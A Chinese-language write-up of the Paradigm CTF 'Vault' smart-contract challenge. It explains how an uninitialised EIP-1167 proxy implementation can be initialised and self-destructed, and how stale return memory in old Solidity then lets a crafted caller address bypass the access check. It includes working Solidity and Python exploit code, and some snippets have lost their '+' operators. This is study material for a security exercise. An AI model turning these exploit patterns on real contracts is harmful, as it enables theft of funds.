这是Paradigm公司开放的夺旗系列之金库,题目也是由Samczsun
出的。前段时间刚学习了代理合约,这道题目就会分析代理合约的漏洞,以及如何利用该漏洞来攻破该合约。本文属于原创文章,转发请联系作者。
同样本文的参考连接如下:https://smarx.com/posts/2021/02/writeup-of-paradigm-ctf-vault/
合约分析
首先可以看到,这道题目给定的合约很多,要抓住重点,梳理清楚合约之间的关系。不要被多个合约吓到。
简单分析各个文件
GuardConstants.sol
=> 里面定义了两个常量Guard.sol
=> 定义Guard
接口,接口里由三个接口函数:initialize(vault owner), cleanup() isAllowed(address,string)
GuardRegistry.sol
=> 合约目的是该注册合约的owner
注册一个Guard
实例。提供两个方法:registerGuardImplementation(address,bool)和transferOwnership(address)
,第一个方法是判定只有本注册合约的所有者有权向本注册合约注册一个Guard合约的实例。第二个方法是可以本注册合约转让给新的所有者SingleOwnerGuard.sol
=> 权限验证,提供Guard合约里三个接口函数的具体实现,另外提供两个方法:addPublicOperation(string)和owner()
第一个方法是只允许金库合约的所有者添加可以公开访问的方法名称。第二个方法是返回金库合约的所有者。Vault.sol
=> 金库合约,功能是存入token,取出token,创建Guard代理,检查权限,更新代理,紧急调用等。函数有:createGuard(bytes32),checkAccess(string),updateGuard(bytes32),deposit(ERC20Lik,uint),withdarw(ERC20Like,uint),emergencyCall(address,bytes),transferOwnership(address),acceptOwnership()
简单分析合约之间关系,发现核心其实是vault.sol
和singleOwnerGuard.sol
. 其中vault.sol
通过createGuard(bytes32)
方法,利用EIP-1167创建一个代理合约。从setup来看,该代理合约实际上的执行合约是singleOwnerGuard.sol
然后金库合约的deposit,withdraw,emergencyCall
方法都在内部调用checkAccess
方法,通过代理合约检查guard.isAllowed(msg.sender, op)
,即msg.sender
是否有相应权限来调用这些函数。
现在我们的目标是成为金库合约的owner, 然后拿到该金库合约中的所有ETH
代理合约分析
代码语言:javascript复制function Setup() public {
registry = new GuardRegistry();
registry.registerGuardImplementation(new SingleOwnerGuard(), true);
vault = new Vault(registry);
SingleOwnerGuard guard = SingleOwnerGuard(vault.guard());
guard.addPublicOperation("deposit");
guard.addPublicOperation("withdraw");
}
我们知道使用EIP-1167的代理合约有如下特点:
- 代理合约没有构造函数,需要initialize()方法进行初始化
- 代理合约只拷贝远程合约的公开方法。
如再本题中,金库vault
合约调用checkAccess
方法时,就使用了代理合约将对应的权限检查执行逻辑代理给singleOwnerGuard
合约。如下图:
sequenceDiagram
Vault->>Guard: checkAccess(op)
alt delegateCall
Guard->>SingleOwnerGuard: guard.isAllowed(msg.sender, op)
end
alt return
SingleOwnerGuard->>Guard: return (PERMISSION_DENIED, 1)
end
Guard->>Vault: return (PERMISSION_DENIED)
本题中,Vault 合约对于Guard的实现可以看到,在创建好代理合约Guard后,马上进行了初始化,即调用了guard.initialize(this)
方法,实现了代理合约的初始化。
但这里需要明确一点,通过构造函数constructor()
实现合约的初始化和通过initialize()
实现合约的初始化有什么区别:
最大的区别是构造函数constructor()
实现合约初始化仅初始化一次,且在合约创建时发生,合约创建好之后无法再次调用该构造函数。而通过initialize()
实现合约初始化,则可以在任意时候调用,需要自己写逻辑保证合约只能初始化一次,而无法保证该方法不再被调用。根本原因是合约编译好的字节码中,构造函数相关的字节码在init-code
中,不在runtime code
中。而自定义的initialize()
方法存在于runtime code
中,可被反复调用。
本题中,通过全局变量initialized
是否为true
,来判断是否已经初始化.
function initialize(Vault vault_) external {
require(!initialized);
vault = vault_;
initialized = true;
}
思路1:
本题中,代理合约被初始化,但是远程合约SingleOwnerGuard
被没有初始化。故我们可以初始化远程合约,然后让其自毁,从而使得代理合约的逻辑无法执行,从而骗过权限检查。
pragma solidity 0.4.16;
import "./Setup.sol";
contract FakeVault {
Setup setup;
function FakeVault (address _setup) public {
setup = Setup(_setup);
}
function exploit() public {
GuardRegistry registry = setup.registry();
//拿到远程合约
SingleOwnerGuard real_guard = SingleOwnerGuard(registry.implementations(registry.defaultImplementation()));
real_guard.initialize(Vault(address(this)));
real_guard.cleanup();
}
function guard() public view returns (address){
return msg.sender;
}
function() external payable{}
}
代码语言:javascript复制sequenceDiagram
FakeVault->>SingleOwnerGuard: exploit()
SingleOwnerGuard->>FakeVault: selfdestruct()
Vault->>Guard: checkAccess(op)
alt delegateCall
Guard->>SingleOwnerGuard: guard.isAllowed(msg.sender, op)
end
alt return
SingleOwnerGuard->>Guard: STOP
end
Guard->>Vault: return (?,)
下面的问题是,我们需要弄清楚,当远程合约被selfdestruct
后,调用vault的checkAccess(op)
函数时,究竟发生了什么
function checkAccess(string memory op) private returns (bool) {
uint8 error;
(error, ) = guard.isAllowed(msg.sender, op);
return error == NO_ERROR;
}
此时,我们需要remix来帮助我们
首先是辅助合约,一个token
代码语言:javascript复制pragma solidity 0.4.16;
import "./Vault.sol";
contract Token is ERC20Like {
string public symbol;
string public name;
uint256 public decimals;
uint256 public totalSupply;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address from, address to, uint256 value);
event Approval(address owner, address spender, uint256 value);
function Token() public {
symbol = "TKE";
name = "TOKEN";
decimals = 18;
totalSupply = uint(-1);
balances[msg.sender] = uint(-1);
}
function transfer(address dst, uint qty) public returns (bool) {
balances[dst] = balances[dst] qty;
balances[msg.sender] = balances[msg.sender] - qty;
return true;
}
function transferFrom(address src, address dst, uint qty) public returns (bool){
balances[dst] = balances[dst] qty;
balances[src] = balances[src] - qty;
return true;
}
}
:triangular_flag_on_post: 知识点1:参数为string时,abi.encode
方式
当我们调试checkAccess(string memory op)
函数时,发现直接传进去的参数如:deposit
,会被编码成如下:
0xf6cc55f9000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000076465706f73697400000000000000000000000000000000000000000000000000
其中,0xf6cc55f9
是checkAccess(string memory)
的函数签名,后面紧跟着的0x20
是字符串的偏移量,再紧跟着的0x07
是deposit
编码成ASCII码之后的长度,最后是左对齐的编码成ASCII的参数'deposit'(6465706f736974
).
keccak256(abi.encode("checkAccess(string)")) = f6cc55f95086a0d4e4509e2950f374e76b4bcdf9271a87f5d7780c8b1bb576b6
:triangular_flag_on_post: 知识点2:CALL的调用
当我们调试函数checkAccess
时,它会调用到代理合约,具体的调用方法是:guard.isAllowed(msg.sender, op)
这部分代码实际上在EVM中可以写成如下的汇编码:
function checkAccess(string memory op) private returns (bool) {
uint8 error;
(error, ) = guard.isAllowed(msg.sender, op);
return error == NO_ERROR;
}
=>
assembly {
let ptr := mload(0x40) //free_memory_ptr_value
let args := encode(guard.isAllowed, caller(), op) // 参数编码,放置在内存[0xa0,0x124]
MEM[ptr:ptr len(args)] = args
retlen = 2
call (
guard, //目标合约地址 0x0000000000000000000000008050bfa9a209d03c8a0a62790af4e0320e95cb2d
ptr, //0x00000000000000000000000000000000000000000000000000000000000000a0
len(args), //0x0000000000000000000000000000000000000000000000000000000000000084
ptr, // 0x00000000000000000000000000000000000000000000000000000000000000a0
retlen //0x0000000000000000000000000000000000000000000000000000000000000040
)
error, code = MEM[ptr], MEM[ptr 1]
}
下图为调用CALL之前的栈结构及内存结构。
image20210704134416259.png
下面我们结合下CALL的黄皮书中的解释,来逐个理解堆栈结构的含义:
结合上图的栈,我们可以看到:
可以看到调用远程合约的CALLDATA为,即MEM[0xa0: 0xa0 0x84]的值
0xb94606320000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000076465706f73697400000000000000000000000000000000000000000000000000
简单的理解CALL,它是调用远程合约地址的某个方法,发送一定数量的ETH到远程地址中,方法的CALLDATA存放在内存中,得到的返回值放置回定义好的内存地址中。在solidity<0.5.0的版本中,返回值存放的位置指针与参数值的内存指针指向同一块内存地址。这也是本题目的关键爆破点。
这里有两个关键点:
- 调用一个被销毁的合约,它只是会执行STOP这一个OPCODE,不会REVERT
- 返回值拷贝到内存中时,如果返回值的实际长度为0,则其实际上拷贝到内存中的数值长度也为0。CALL不会去覆盖内存的值
思路2:
由于返回值let error := mload(0xa0)
且如果返回值的长度为0,则并不会实际写入任何值。故简单的思路是能不能让error的值等于NO_ERROR,这样就可以绕开权限检查,从而做任何想做的事情。由于error的类型是uint8
,这里我们先看下,此时error的值应该为多少:
let error:=mload(0xa0) // error = 0xb94606320000000000000000000000005b38da6a701c568545dcfcb03fcb875f
=>
因为 error的类型是uint8, 即为最右侧的一个字节,即此时的
error = 0x5f
可以看到实际上的判据error的值是地址addr上的第16位数值,故我们可以传入一个第16位为NO_ERROR值的地址,就可以达到绕开权限检查的目的。
故现在需要做的是找到一个第16位为0x00的一个地址,以该地址来作为msg.sender来调用函数即可,绕开权限检测。
:fish:有如下三种方法生成该地址:
线下生成随机私钥,然后根据私钥生成公钥,然后再生成地址:
代码语言:javascript复制from typing import Callable
from eth_account import Account
from eth_account.signers.local import LocalAccount
from web3 import Web3
def find_account(predicate: Callable[[LocalAccount], bool]) -> LocalAccount:
while True:
account = Account.create()
if predicate(account):
return account
def predicate(account: LocalAccount) -> bool:
contract_addr = Web3.soliditySha3(['bytes1', 'bytes1', 'address', 'bytes1'], ["0xd6", "0x94", account.address, "0x80"])[12:].hex()
return contract_addr[-10:-8].lower() == "00"
account = find_account(predicate)
account.address
线上利用create关键字,反复生成新的合约地址,直到合约地址满足要求
代码语言:javascript复制pragma solidity 0.4.16;
import "./Setup.sol";
contract Caller {
function doit(Vault vault) public {
vault.emergencyCall(msg.sender, new bytes(0));
}
}
contract FakeVault {
address public owner;
address public pendingOwner;
GuardRegistry public registry;
Guard public guard;
Setup setup;
function FakeVault (address _setup) public {
setup = Setup(_setup);
}
function pre_exploit() public {
GuardRegistry registry = setup.registry();
//拿到远程合约
SingleOwnerGuard real_guard = SingleOwnerGuard(registry.implementations(registry.defaultImplementation()));
real_guard.initialize(Vault(address(this)));
real_guard.cleanup();
}
function guard() public view returns (address){
return msg.sender;
}
function exploit() public {
Caller caller;
while (true) {
caller = new Caller();
if (bytes20(address(caller))[15] == hex'00') {
break;
}
}
caller.doit(setup.vault());
}
function() external payable{
owner = tx.origin;
}
}
线上利用create2关键字,生成合约地址,知道合约地址满足要求
代码语言:javascript复制pragma solidity 0.4.16;
import "./Setup.sol";
contract Caller {
function doit(Vault vault) public {
vault.emergencyCall(msg.sender, new bytes(0));
}
}
contract FakeVault {
address public owner;
address public pendingOwner;
GuardRegistry public registry;
Guard public guard;
Setup setup;
function FakeVault (address _setup) public {
setup = Setup(_setup);
}
function pre_exploit() public {
GuardRegistry registry = setup.registry();
//拿到远程合约
SingleOwnerGuard real_guard = SingleOwnerGuard(registry.implementations(registry.defaultImplementation()));
real_guard.initialize(Vault(address(this)));
real_guard.cleanup();
}
function guard() public view returns (address){
return msg.sender;
}
function exploit() public {
Caller caller;
uint i = 0;
while (true) {
bytes memory bytecode = type(Caller).creationCode;
bytes32 salt = keccak256(abi.encode(i));
i = i 1;
assembly {
caller := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
if (bytes20(address(caller))[15] == hex'00') {
break;
}
}
caller.doit(setup.vault());
}
function() external payable{
owner = tx.origin;
}
}
目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 :fish: 。如果你觉得我写的还不错,可以加我的微信:woodward1993